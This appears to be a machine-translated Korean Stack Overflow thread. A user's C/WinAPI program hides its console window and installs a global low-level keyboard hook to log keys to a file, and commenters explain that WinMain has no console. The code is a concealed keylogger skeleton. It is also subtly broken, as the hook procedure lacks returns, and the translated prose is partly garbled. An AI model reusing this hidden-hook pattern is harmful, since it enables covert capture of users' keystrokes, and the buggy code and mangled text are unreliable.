키를 연결하여 파일에 기록하면 모든 것이 잘되지만 콘솔 창을 숨기면 키를 연결하여 파일로 인쇄 할 수 없습니다. 이 문제를 없애시겠습니까? 아래로 내려 갔을 때 ShowWindow()
기능을 제거했지만 열쇠를 연결할 수는 있었지만 그렇지 않은 경우 나는 그렇지 않습니다. 그 과정은 아직 작업 관리자에서 실행 중입니다.콘솔 창이 보이지 않게 만들기
여기 내 예제 코드를 참조하십시오
KBDLLHOOKSTRUCT kbdSTRUCT;
int APIENTRY WinMain(HINSTANCE hinstance, HINSTANCE hprevious, LPSTR cmdline, int cmdshow) {
HWND wnd;
wnd = GetConsoleWindow();
ShowWindow(wnd, FALSE);
HHOOK kbdHOOK;
kbdHOOK = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, NULL, 0);
MSG msgg;
while(GetMessage(&msgg, NULL, 0, 0) > 0){
TranslateMessage(&msgg);
DispatchMessage(&msgg);
}
}
LRESULT CALLBACK kbdProc(int nCode, WPARAM wPar, LPARAM lPar){
if(nCode >= 0){
if(wPar == 256){
kbdSTRUCT = *(KBDLLHOOKSTRUCT *)lPar;
if(kbdSTRUCT.vkCode == 0x90){
//fprintf function here to write to a file
return CallNextHookEx(NULL, nCode, wPar, lPar);
}
}
}
}
당신에게 너무 감사
왜 가짜 콘솔 창을 필요합니까? 콘솔 창과 관련된 줄을 제거하면됩니다. –
Ido는 가짜 콘솔 창을 필요로하지 않습니다. @BarmakShemirani 당신은 질문을 읽지 않았습니까? setwindowshookex에 의해 t 보이지 않게함으로써 콘솔 창을 제거하려고 할 때 그 기능을 잃습니다. – turmuka
콘솔 창이 없습니다. 'WinMain'은 콘솔 창을 만들지 않습니다. 'GetConsoleWindow'는 당신이 프로그램을 작성한 것처럼'NULL'을 리턴합니다. 어떤 컴파일러를 사용하고 있습니까? –